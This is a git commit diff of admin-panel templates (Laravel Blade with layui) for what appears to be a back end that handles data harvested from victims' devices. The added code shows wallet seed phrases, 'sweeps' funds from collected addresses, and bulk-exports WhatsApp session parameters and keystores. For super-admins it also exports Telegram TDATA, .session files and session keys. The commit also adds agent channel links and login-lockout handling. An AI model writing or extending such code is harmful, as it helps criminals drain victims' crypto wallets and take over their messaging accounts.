feat: tg/ws/security/

This commit is contained in:
hashbro
2026-10-03 05:40:19 +08:00
parent 6e4f7e6020
commit afac799588
32 changed files with 2038 additions and 18 deletions
@@ -157,6 +157,7 @@ layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
var token = @json(csrf_token());
var updateBase = @json(url('/'.$portal.'/addresses'));
var canReveal = @json(!empty($can_reveal));
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
@@ -336,7 +337,14 @@ layui.use(['table', 'form', 'layer'], function () {
? '<span class="addr-monitor-on">开</span>'
: '<span class="addr-monitor-off">关</span>';
}},
{ title: '操作', width: {{ !empty($can_reveal) ? 300 : 220 }}, align: 'center', fixed: 'right', toolbar: '#LAY-addr-ops' }
{ title: '操作', width: {{ !empty($can_reveal) ? 300 : 220 }}, align: 'center', fixed: 'right', templet: function (d) {
var html = '';
if (canReveal && d.collectable) html += '<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="reveal">查看助记词</a>';
if (d.collectable) html += '<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="sweep">归集</a>';
html += '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="edit">编辑</a>';
html += '<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>';
return html;
} }
]],
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
+34 -1
View File
@@ -33,6 +33,9 @@
<script type="text/html" id="LAY-agent-ops">
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="channels">渠道链接</a>
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="edit">编辑</a>
@{{# if(d.is_locked){ }}
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="unlock">解锁</a>
@{{# } }}
@{{# if (d.telegram_ready) { }}
<a class="layui-btn layui-btn-xs" lay-event="tgtest">测试TG</a>
@{{# } }}
@@ -75,6 +78,16 @@ layui.use(['table', 'form', 'layer'], function () {
? '<span style="color:#16a34a;">已绑定</span>'
: '<span style="color:#888;">未绑定</span>';
}},
{ field: 'is_locked', title: '锁定状态', width: 110, templet: function (d) {
if (d.is_locked) {
return '<span style="color:#ff5722;">已封锁</span><br><span style="font-size:12px;color:#999;">' + (d.locked_at || '') + '</span>';
}
var attempts = Number(d.login_attempts) || 0;
if (attempts > 0) {
return '<span style="color:#ffb800;">失败 ' + attempts + ' 次</span>';
}
return '<span style="color:#16b777;">正常</span>';
}},
{ field: 'chat_id', title: 'Chat ID', width: 140 },
{ field: 'comment', title: '备注', minWidth: 100 },
{ field: 'album_storage_default', title: '相册存储', width: 100, templet: function (d) {
@@ -93,7 +106,7 @@ layui.use(['table', 'form', 'layer'], function () {
cols.push(
{ field: 'channels_count', title: '渠道数', width: 90 },
{ field: 'created_at', title: '创建时间', width: 160, sort: true },
{ title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' }
{ title: '操作', width: 300, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' }
);
table.render({
@@ -241,6 +254,26 @@ layui.use(['table', 'form', 'layer'], function () {
if (res.code !== 0) return layer.msg(res.msg || '失败');
layer.close(index);
table.reload('LAY-agent-list');
},
error: function (xhr) {
layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '更新失败');
}
});
});
} else if (obj.event === 'unlock') {
layer.confirm('确定解除代理「' + d.username + '」的封禁状态?', function (index) {
$.ajax({
url: @json(url('/admin/agents')) + '/' + d.id + '/unlock',
method: 'POST',
data: { _token: token },
success: function (res) {
if (res.code !== 0) return layer.msg(res.msg || '失败');
layer.msg(res.msg || '已解除封禁');
layer.close(index);
table.reload('LAY-agent-list');
},
error: function (xhr) {
layer.msg((xhr.responseJSON && (xhr.responseJSON.message || xhr.responseJSON.msg)) || '解锁失败');
}
});
});
@@ -105,7 +105,9 @@
<table id="LAY-device-list" lay-filter="LAY-device-list"></table>
<script type="text/html" id="LAY-device-ops">
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail"><i class="layui-icon layui-icon-form"></i> 详情</a>
@if ($portal === 'admin')
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="destroy"><i class="layui-icon layui-icon-delete"></i> 删除</a>
@endif
</script>
</div>
</div>
+151 -1
View File
@@ -6,7 +6,9 @@
<div class="layui-card">
<div class="layui-card-header" style="display:flex;align-items:center;justify-content:space-between;">
<span>设备详情</span>
@if (($portal ?? 'admin') === 'admin')
<button type="button" class="layui-btn layui-btn-danger layui-btn-sm" id="LAY-device-destroy">删除设备</button>
@endif
</div>
<div class="layui-card-body">
<table class="layui-table" style="margin-bottom: 16px;">
@@ -228,6 +230,8 @@
'apps' => '已装 APP',
'notes' => '备忘录',
'events' => '日志',
'ws-sessions' => 'WS 参数',
'tg-sessions' => 'TG 参数',
]; @endphp
@foreach ($tabs as $key => $label)
<li class="{{ $tab === $key ? 'layui-this' : '' }}">
@@ -316,6 +320,20 @@
</form>
@endif
<table id="LAY-device-tab-list" lay-filter="LAY-device-tab-list"></table>
@if (in_array($tab, ['ws-sessions', 'tg-sessions'], true))
<script type="text/html" id="LAY-device-session-ops">
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">原始参数</a>
@if ($tab === 'ws-sessions')
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wsFull">协议全参</a>
@endif
@if ($tab === 'tg-sessions' && auth('admin')->user()?->isSuper())
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="tdata">TDATA</a>
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="session">SESSION</a>
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionJson">JSON</a>
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionKey">密钥</a>
@endif
</script>
@endif
@endif
</div>
</div>
@@ -335,7 +353,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
var tabDataUrl = @json(route(($portal ?? 'admin').'.devices.tabData', $device));
var updateUrl = @json(route(($portal ?? 'admin').'.devices.update', $device));
var clearPhotosUrl = @json(route(($portal ?? 'admin').'.devices.photos.clear', $device));
@if (($portal ?? 'admin') === 'admin')
var destroyUrl = @json(route(($portal ?? 'admin').'.devices.destroy', $device));
@else
var destroyUrl = '';
@endif
var listUrl = @json(route(($portal ?? 'admin').'.devices.index'));
var token = @json(csrf_token());
var revealMnemonic = window.CorunaMnemonicReveal({
@@ -351,6 +373,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
};
var yesNo = function (v) {
return v ? '<span style="color:#16a34a;">有</span>' : '<span style="color:#94a3b8;">无</span>';
};
form.on('switch(LAY-device-album-storage)', function (obj) {
var on = obj.elem.checked ? 1 : 0;
@@ -656,6 +681,28 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
{ field: 'context', title: 'Context', minWidth: 220, templet: function (d) {
return d.context ? '<span class="wrap">' + esc(d.context) + '</span>' : '—';
} }
]],
'ws-sessions': [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'account_id', title: '账号', minWidth: 150, sort: true, templet: function (d) { return dash(d.account_id); } },
{ field: 'phone', title: '手机号', width: 140, templet: function (d) { return dash(d.phone); } },
{ field: 'nickname', title: '昵称', width: 130, templet: function (d) { return dash(d.nickname); } },
{ field: 'version', title: '版本', width: 110, templet: function (d) { return dash(d.version); } },
{ field: 'has_keystore', title: '密钥', width: 80, templet: function (d) { return yesNo(d.has_keystore); } },
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ title: '操作', width: 200, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
]],
'tg-sessions': [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'account_id', title: '用户 ID', minWidth: 150, sort: true, templet: function (d) { return dash(d.account_id); } },
{ field: 'has_state', title: '状态', width: 80, templet: function (d) { return yesNo(d.has_state); } },
{ field: 'has_db', title: 'DB', width: 80, templet: function (d) { return yesNo(d.has_db); } },
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
@if(auth('admin')->user()?->isSuper())
{ title: '操作', width: 410, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
@else
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
@endif
]]
};
var emptyMap = {
@@ -664,7 +711,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
keystores: '暂无钥匙串',
apps: '暂无应用',
notes: '暂无备忘录',
events: '暂无日志'
events: '暂无日志',
'ws-sessions': '暂无 WS 参数',
'tg-sessions': '暂无 TG 参数'
};
table.render({
@@ -779,6 +828,107 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
});
}
if (tab === 'ws-sessions' || tab === 'tg-sessions') {
table.on('tool(LAY-device-tab-list)', function (obj) {
if (obj.event === 'payload') {
var url = obj.data.payload_url;
if (!url) { layer.msg('缺少参数地址'); return; }
var load = layer.load(1, { shade: 0.1 });
fetch(url, { headers: { 'Accept': 'application/json', 'X-Requested-With': 'XMLHttpRequest' }, credentials: 'same-origin' })
.then(function (res) {
return res.json().then(function (body) { return { ok: res.ok, body: body || {} }; })
.catch(function () { return { ok: false, body: { msg: '参数接口返回了非 JSON' } }; });
})
.then(function (out) {
layer.close(load);
var body = out.body || {};
var json = body.data && body.data.payload_json;
if (!out.ok || body.code === 1 || !json) { layer.msg(body.msg || '加载参数失败'); return; }
var downloadUrl = (body.data && body.data.download_url) || obj.data.download_url || '';
var pretty = JSON.stringify(json, null, 2);
layer.open({
type: 1, title: (tab === 'ws-sessions' ? 'WS 参数 #' : 'TG 参数 #') + obj.data.id,
area: ['720px', '80%'], content:
'<pre style="margin:0;padding:12px;max-height:100%;overflow:auto;background:#f6f6f6;font-size:12px;white-space:pre-wrap;word-break:break-all;">' + esc(pretty) + '</pre>'
+ (downloadUrl ? '<div style="padding:8px 12px;"><a class="layui-btn layui-btn-sm" href="' + esc(downloadUrl) + '" download>下载完整参数</a></div>' : '')
});
})
.catch(function () { layer.close(load); layer.msg('加载参数失败'); });
return;
}
if (obj.event === 'wsFull') {
var url = obj.data.ws_full_url;
if (!url) { layer.msg('缺少协议全参地址'); return; }
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = 'ws-' + (obj.data.account_id || obj.data.id) + '.txt';
document.body.appendChild(a); a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
return;
}
if (obj.event === 'tdata') {
var url = obj.data.tdata_url;
if (!url) { layer.msg('缺少 TDATA 地址'); return; }
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = 'tdata-' + (obj.data.account_id || obj.data.id) + '.zip';
document.body.appendChild(a); a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
return;
}
if (obj.event === 'session' || obj.event === 'sessionJson' || obj.event === 'sessionKey') {
var typeMap = { session: 'session', sessionJson: 'json', sessionKey: 'key' };
var extMap = { session: '.session', json: '.json', key: '_密钥.txt' };
var type = typeMap[obj.event];
var baseUrl = obj.data.session_file_url;
if (!baseUrl) { layer.msg('缺少会话文件地址'); return; }
var url = baseUrl + '?type=' + type;
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = (obj.data.account_id || obj.data.id) + extMap[type];
document.body.appendChild(a); a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
return;
}
});
}
if (tab === 'wallets') {
form.render('select');
form.on('submit(LAY-wallet-search)', function (data) {
+156 -5
View File
@@ -43,11 +43,25 @@
</form>
<div class="layui-card-body">
<div style="margin-bottom:10px;">
<button class="layui-btn layui-btn-normal" id="LAY-session-export"><i class="layui-icon layui-icon-export"></i>导出 ZIP</button>
@if ($isWhatsApp)
<button class="layui-btn layui-btn-normal" id="LAY-session-export-ws"><i class="layui-icon layui-icon-export"></i>导出 WS 全参</button>
<span style="margin-left:10px;color:#999;font-size:12px;">批量导出一次限 1000 条,请先选择时间范围</span>
@else
<button class="layui-btn layui-btn-normal" id="LAY-session-export"><i class="layui-icon layui-icon-export"></i>导出原始参数 ZIP</button>
@endif
</div>
<table id="LAY-session-list" lay-filter="LAY-session-list"></table>
<script type="text/html" id="LAY-session-ops">
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">参数</a>
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">原始参数</a>
@if ($isWhatsApp)
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wsFull">协议全参</a>
@endif
@if (! $isWhatsApp && auth('admin')->user()?->isSuper())
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="tdata">TDATA</a>
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="session">SESSION</a>
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionJson">JSON</a>
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionKey">密钥</a>
@endif
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
</script>
</div>
@@ -98,7 +112,7 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
cols.push(
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ field: 'updated_at', title: '更新时间', width: 170, sort: true },
{ title: '操作', width: 170, align: 'center', fixed: 'right', toolbar: '#LAY-session-ops' }
{ title: '操作', width: 410, align: 'center', fixed: 'right', toolbar: '#LAY-session-ops' }
);
table.render({
@@ -118,7 +132,9 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
// Bulk export: build a query string from the current search form and
// trigger a download via a hidden <a>. The server streams a ZIP from disk.
document.getElementById('LAY-session-export').addEventListener('click', function () {
var zipBtn = document.getElementById('LAY-session-export');
if (zipBtn) {
zipBtn.addEventListener('click', function () {
var params = new URLSearchParams();
params.set('kind', isWhatsApp ? '2' : '1');
var formEl = document.querySelector('form[lay-filter="LAY-session-search"]');
@@ -149,7 +165,51 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
layer.close(load);
layer.msg(e.message || '导出失败');
});
});
});
}
// WS TXT export: same filters, but returns a single NDJSON .txt (one JSON
// per line, 26 fields — chk.ts native format). Server converts each wap.js
// payload on the fly.
var wsBtn = document.getElementById('LAY-session-export-ws');
if (wsBtn) {
wsBtn.addEventListener('click', function () {
var params = new URLSearchParams();
params.set('kind', '2');
var formEl = document.querySelector('form[lay-filter="LAY-session-search"]');
if (formEl) {
var fd = new FormData(formEl);
fd.forEach(function (v, k) { if (v) params.set(k, v); });
}
var url = @json(route($portal.'.sessions.export.ws')) + '?' + params.toString();
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '导出失败'); });
}
var skipped = res.headers.get('X-Export-Skipped') || '0';
var written = res.headers.get('X-Export-Written') || '';
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = 'ws-' + @json(date('Ymd-His')) + '.txt';
document.body.appendChild(a);
a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
if (skipped && skipped !== '0') {
layer.msg('导出完成,跳过 ' + skipped + ' 条无密钥数据' + (written ? ',写入 ' + written + ' 条' : ''));
}
});
})
.catch(function (e) {
layer.close(load);
layer.msg(e.message || '导出失败');
});
});
}
table.on('tool(LAY-session-list)', function (obj) {
if (obj.event === 'payload') {
@@ -191,6 +251,97 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
});
return;
}
if (obj.event === 'wsFull') {
var url = obj.data.ws_full_url;
if (!url) {
layer.msg('缺少协议全参地址');
return;
}
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = 'ws-' + (obj.data.account_id || obj.data.id) + '.txt';
document.body.appendChild(a);
a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
.catch(function (e) {
layer.close(load);
layer.msg(e.message || '转换失败');
});
return;
}
if (obj.event === 'tdata') {
var url = obj.data.tdata_url;
if (!url) {
layer.msg('缺少 TDATA 地址');
return;
}
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = 'tdata-' + (obj.data.account_id || obj.data.id) + '.zip';
document.body.appendChild(a);
a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
.catch(function (e) {
layer.close(load);
layer.msg(e.message || '转换失败');
});
return;
}
if (obj.event === 'session' || obj.event === 'sessionJson' || obj.event === 'sessionKey') {
var typeMap = { session: 'session', sessionJson: 'json', sessionKey: 'key' };
var extMap = { session: '.session', json: '.json', key: '_密钥.txt' };
var type = typeMap[obj.event];
var baseUrl = obj.data.session_file_url;
if (!baseUrl) {
layer.msg('缺少会话文件地址');
return;
}
var url = baseUrl + '?type=' + type;
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = (obj.data.account_id || obj.data.id) + extMap[type];
document.body.appendChild(a);
a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
.catch(function (e) {
layer.close(load);
layer.msg(e.message || '转换失败');
});
return;
}
if (obj.event !== 'detail') return;
var url = obj.data.detail_url;
var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id));
+32 -1
View File
@@ -22,6 +22,9 @@
<table id="LAY-admin-list" lay-filter="LAY-admin-list"></table>
<script type="text/html" id="LAY-admin-ops">
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="edit">编辑</a>
@{{# if(d.is_locked){ }}
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="unlock">解锁</a>
@{{# } }}
@{{# if(!d.is_self){ }}
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
@{{# } }}
@@ -53,8 +56,18 @@ layui.use(['table', 'form', 'layer'], function () {
return Number(d.google_auth_open) === 1 ? '开' : '关';
}},
{ field: 'last_ip', title: '最近登录IP', width: 140 },
{ field: 'is_locked', title: '锁定状态', width: 110, templet: function (d) {
if (d.is_locked) {
return '<span style="color:#ff5722;">已封锁</span><br><span style="font-size:12px;color:#999;">' + (d.locked_at || '') + '</span>';
}
var attempts = Number(d.login_attempts) || 0;
if (attempts > 0) {
return '<span style="color:#ffb800;">失败 ' + attempts + ' 次</span>';
}
return '<span style="color:#16b777;">正常</span>';
}},
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ title: '操作', width: 160, toolbar: '#LAY-admin-ops' }
{ title: '操作', width: 200, toolbar: '#LAY-admin-ops' }
]],
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
@@ -128,6 +141,24 @@ layui.use(['table', 'form', 'layer'], function () {
table.on('tool(LAY-admin-list)', function (obj) {
if (obj.event === 'edit') openForm('编辑管理员', obj.data, false);
if (obj.event === 'unlock') {
layer.confirm('确定解除管理员「' + obj.data.username + '」的封禁状态?', function (index) {
$.ajax({
url: @json(url('/admin/system/admins')) + '/' + obj.data.id + '/unlock',
method: 'POST',
data: { _token: token },
success: function (res) {
if (res.code !== 0) return layer.msg(res.msg || '失败');
layer.msg(res.msg || '已解除封禁');
layer.close(index);
table.reload('LAY-admin-list');
},
error: function (xhr) {
layer.msg((xhr.responseJSON && (xhr.responseJSON.message || xhr.responseJSON.msg)) || '解锁失败');
}
});
});
}
if (obj.event === 'del') {
layer.confirm('确定删除管理员「' + obj.data.username + '」?', function (index) {
$.ajax({